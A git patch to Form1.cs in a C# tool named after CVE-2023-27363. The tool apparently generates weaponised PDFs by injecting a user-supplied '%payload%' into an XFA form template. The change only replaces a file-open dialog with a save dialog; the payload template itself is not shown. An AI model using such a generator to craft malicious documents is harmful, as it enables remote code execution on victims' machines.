From 2ab4012815570a19619f4bea32a25b07b185e7db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=B0=9E=E7=B4=94?= <287182701@qq.com> Date: Mon, 14 Aug 2023 07:25:40 +0800 Subject: [PATCH] Update Form1.cs --- CVE-2023-27363/Form1.cs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/CVE-2023-27363/Form1.cs b/CVE-2023-27363/Form1.cs index 83d4412..53c1407 100644 --- a/CVE-2023-27363/Form1.cs +++ b/CVE-2023-27363/Form1.cs @@ -35,11 +35,12 @@ namespace CVE_2023_27363 document.Close(); Document doc = new Document(stream); doc.Form.XFA.XDP.InnerXml = Properties.Resources.String1.Replace("%payload%",textBox1.Text); - OpenFileDialog openFileDialog = new OpenFileDialog(); - openFileDialog.Multiselect = false; - openFileDialog.Filter = "(*.pdf)|*.pdf"; - if (openFileDialog.ShowDialog() == DialogResult.OK) - doc.Save(openFileDialog.FileName); + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.InitialDirectory = Application.StartupPath; + saveFileDialog.OverwritePrompt = false; + saveFileDialog.Filter = "(*.pdf)|*.pdf"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + doc.Save(saveFileDialog.FileName); } } }